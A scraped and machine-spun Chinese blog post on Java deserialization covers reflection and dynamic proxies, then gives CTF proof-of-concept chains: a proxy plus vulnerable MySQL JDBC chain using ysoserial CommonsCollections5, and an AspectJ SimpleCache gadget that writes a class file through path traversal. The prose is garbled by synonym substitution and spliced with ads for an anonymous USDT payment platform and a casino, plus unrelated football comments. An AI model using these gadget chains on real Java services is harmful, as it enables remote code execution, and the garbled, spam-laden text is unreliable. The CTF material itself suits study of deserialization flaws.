菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
java反序列化知识总结和一些ctf的例题
反序列化知识:
对于web手来说,php的反序列化一定不生疏,php的反序列化一样平常关注的就是魔术方式的挪用和动态函数的执行这些,在java这里对参数类型这些要求严酷,以是不能像php那么轻松的挖掘反序列化链子,接下来就讲一些cc链内里用到的java的一些特征和一些对照高质量的java_ctf题。
java的反射
自己反射就是为了动态执行类方式,以是我们就可以行使到达下令执行,先来看看java正常下令执行
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { Runtime.getRuntime().exec("calc"); } }
为什么要通过getRuntime()
来挪用exec,而不是直接实例化Runtime呢?看看源码就知道了,发现是由于Runtime组织函数是私有的以是不能直接实例化,而是通过getRuntime()
来举行组织,正好又是静态方式,以是可以直接挪用
然则不想通过getRuntime来获得工具,怎么办呢?这里就可以用到反射的第一个技巧了,行使反射来举行组织,通过这里我们就可以知道了,java可以通过反射来获取私有属性(也就是constructor.setAccessible(true);
这就是为了设置可以获取和修改私有属性这些)。
import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { //Runtime.getRuntime().exec("calc"); Class clazz = Class.forName("java.lang.Runtime"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Runtime rt = (Runtime)constructor.newInstance(); rt.exec("calc"); } }
现在我们再通过反射来挪用getRuntime()
再到exec来到达下令执行,这里需要注重一个地方,Method的invoke内里是一个类,而不是一个实例化的工具,主要缘故原由是gt是源于getRuntime这个方式,而刚刚看到getRuntime是一个静态方式,以是这里也就不需要实例化了,这里就是cc链内里许多地方用到反射为什么要通过getRuntime来到exec了。
import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { //Runtime.getRuntime().exec("calc"); Class clazz = Class.forName("java.lang.Runtime"); Method gt = clazz.getMethod("getRuntime"); clazz.getMethod("exec",String.class).invoke(gt.invoke(clazz),"calc"); } }
我们还可以通过反射直接来挪用exec执行下令
import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { //Runtime.getRuntime().exec("calc"); Class clazz = Class.forName("java.lang.Runtime"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); clazz.getMethod("exec",String.class).invoke(constructor.newInstance(),"calc"); } }
通过上面的例子我想对于反射来组织类应该没有什么问题了,固然在反射组织类时尚有一个内部类的器械,这里就照样先把反射组织类讲完吧,需要注重的是私有内部类应该怎么组织,可以发现照样通过反射来组织,forName时内里是通过$
来举行离开的,尚有就是newInstance时第一个参数得是这个类的实例化工具(若是不是私有内部类,这里第一个就是内部类对应组织方式的参数)。
public class People { private class Vuln{ private String inStr="you don't control me"; public Vuln(String s){System.out.println(inStr+s);} } } import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { Class clazz = Class.forName("People$Vuln"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); constructor.newInstance(new People(),".Oh it easy?"); } }
好了,对于反射组织类基本差不多了,反射这里尚有一个行使点就是通过反射来修改类的私有属性值,这个有什么用呢?在cc链内里对Hashmap举行put时会对key举行盘算,这样就会修改我们加入的类的一些值,以是可以直接通过修改类的值来举行组织
public class People { private String a="only a?"; public void getA(){ System.out.println(this.a); } } import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException { People pl = new People(); pl.getA(); Class clazz = Class.forName("People"); Field fd_a = clazz.getDeclaredField("a"); fd_a.setAccessible(true); fd_a.set(pl,"I can change it,,,"); pl.getA(); } }
那么对于java在组织poc中的反射已经差不多了,再来看看动态署理,可以发现动态署理这里主要是通过动态署理天生的类挪用方式时首先会触发动态署理的invoke方式,这个在cc1的链子内里也泛起过
People.java public interface People { public void getA(); } Man.java public class Man implements People { @Override public void getA(){ System.out.println("Maned");} } PeopleHandler.java import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class PeopleHandler implements InvocationHandler { private Object target; public PeopleHandler(Object pl) { this.target=pl; } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("invoked"); method.invoke(this.target, args); return null; } } test.java import java.io.IOException; import java.lang.reflect.*; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException { Man man = new Man(); PeopleHandler pl_handler = new PeopleHandler(man); People pl = (People) Proxy.newProxyInstance(People.class.getClassLoader(), new Class[] {People.class}, pl_handler); pl.getA(); } }
ctf内里一些对照有意思的java题
先来看看2020的羊城杯的java题吧,需要用到动态署理和反射的知识,也就是上面所讲的,动态署理实现的类在挪用其他方式时会首先挪用动态署理实现的invoke的方式,以是流程如下(通过动态署理的特征配合有破绽版本的jdbc来到达下令执行):
以是组织poc:
package gdufs.challenge.web; import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.DatabaseInfo; import gdufs.challenge.web.model.Info; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.util.Base64; /* info.getAllInfo() InfoInvocationHandler.invoke() DatabaseInfo.checkAllInfo() DatabaseInfo.connect() //配合jdbc的反序列化 */ public class exp { public static void main(String[] args) throws Exception { DatabaseInfo databaseInfo = new DatabaseInfo(); databaseInfo.setHost("127.0.0.1"); databaseInfo.setPort("3306"); databaseInfo.setUsername("yso_CommonsCollections5_calc"); databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"); ClassLoader classLoader = databaseInfo.getClass().getClassLoader(); Class[] interfaces = databaseInfo.getClass().getInterfaces(); InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo); Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos); objectOutputStream.writeObject(proxy); objectOutputStream.flush(); objectOutputStream.close(); System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray()))); } }
运行问题和启动fake_server,然后修改cookie值方式hello的路由就可以乐成下令执行
,菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
现在来看看d3ctf的谁人java反序列化题,这内里主要是反射用的多,主要讲反序列化,以是前面2层的绕过就没有需要说明晰,直接看看反序列化的流程:
然厥后组织poc,这里的poc和nu1l差不多,由于那时竞赛没有做出来,厥后复现的,天生poc时得把DataMap的Entry内里的hashCode方式直接改成return 1; 这么做的目的是为了让天生poc时不修改我们已经组织好的类
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
public class poc {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
entryConstructor[0].setAccessible(true);
Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式
HashSet map = new HashSet(1);
map.add(entry);//nu1l这之后的操作就是为了修改这个值,目的也是防止add时修改我们已经组织好的类
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj2"));
o.writeObject(map);
o.flush();
o.close();
return 1;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
好了现在把之前改了的hashCode方式改回来,然后反序列化天生的poc
package launch; import checker.DataMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /** HashSet.readObject() HashMap.put() HashMap.hash() DataMap$Entry.hashcode DataMap$Entry.getValue() DataMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write() */ public class poc { public static Serializable getGadget() throws Exception { byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath()); String file_name = "../../../../../../../../../../../../../../aaaaaaa.class"; Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0]; aspectjConstructor.setAccessible(true); Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化 HashMap wrapperMap = new HashMap(); wrapperMap.put(file_name, content_byte); DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache); Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors(); entryConstructor[0].setAccessible(true); Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式 HashSet map = new HashSet(1); map.add(entry); File file = new File("Object.obj2"); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); Object newUser = (Object)ois.readObject(); return 1; } public static void main(String[] args) throws Exception { getGadget(); } }
网友评论
最新评论
文/蜗壳嗯,还能继续看
欧博APP欢迎进入欧博APP(www.aLLbetgame.us),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。很爱很爱的
近期,有消息称C罗不满朗尼克并考虑在今夏离开曼联。对此,罗马诺表示:“不。他只专注于曼联。考虑曼联无法参加欧冠赛事?这是他永远都不会做的。他完全专注于曼联,希望带领曼联在这赛季赢得一些东西。他没有放弃任何事。他也没有计划这赛季结束后的离队。”吹爆此文!